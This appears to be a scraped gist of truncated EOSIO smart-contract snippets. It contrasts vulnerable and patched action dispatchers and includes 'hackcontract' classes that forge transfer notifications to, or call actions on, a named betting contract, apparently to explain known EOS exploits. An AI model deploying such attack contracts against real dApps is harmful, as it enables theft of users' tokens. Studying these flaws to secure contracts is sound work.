This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class sample : eosio::contract{ | |
| public: | |
| sample(account_name account) :eosio::contract(account),_global(_self, _self){} | |
| void freeze(uint64_t frozen) { | |
| require_auth(_self); | |
| _global.set(global_item{frozen}, N(global)); | |
| } | |
| // any public actions |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| extern "C" { | |
| void apply( uint64_t receiver, uint64_t code, uint64_t action ) { | |
| auto self = receiver; | |
| if( code == self || code == N(eosio.token) || action == N(onerror) ) { | |
| if( action == N(transfer)){ | |
| eosio_assert( code == N(eosio.token), "Must transfer EOS"); | |
| TYPE thiscontract( self ); | |
| switch( action ) { | |
| EOSIO_API( TYPE, MEMBERS ) | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| void transfer(uint64_t sender, uint64_t receiver) { | |
| auto transfer_data = unpack_action_data<st_transfer>(); | |
| if (transfer.from == _self || transfer.to != _self ) return; | |
| // store all bet info to table | |
| ... | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class hackcontract : public eosio::contract | |
| { | |
| public: | |
| hackcontract(account_name self) : eosio::contract(self) {} | |
| void transfer(uint64_t sender, uint64_t receiver) | |
| { | |
| require_recipient( N(eosbettest12)); | |
| } | |
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define EOSIO_ABI_EX( TYPE, MEMBERS ) | |
| extern "C" { | |
| void apply( uint64_t receiver, uint64_t code, uint64_t action ) { | |
| auto self = receiver; | |
| if( code == self || code == N(eosio.token) || action == N(onerror) ) { | |
| if( action == N(transfer)){ | |
| eosio_assert( code == N(eosio.token), "Must transfer EOS"); | |
| } | |
| TYPE thiscontract( self ); | |
| switch( action ) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class hackcontract : public eosio::contract | |
| { | |
| public: | |
| hackcontract(account_name self) : eosio::contract(self) {} | |
| void hack(account_name self, eosio::asset quantity, std::string memo) | |
| { | |
| eosio::action( | |
| eosio::permission_level{_self, N(active)}, | |
| N(eosbettest12), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define EOSIO_ABI_EX( TYPE, MEMBERS ) | |
| extern "C" { | |
| void apply( uint64_t receiver, uint64_t code, uint64_t action ) { | |
| auto self = receiver; | |
| if( code == self || code == N(eosio.token) || action == N(onerror) ) { | |
| TYPE thiscontract( self ); | |
| switch( action ) { | |
| EOSIO_API( TYPE, MEMBERS ) | |
| } | |
| /* does not allow destructor of thiscontract to run: eosio_exit(0); */ |
NewerOlder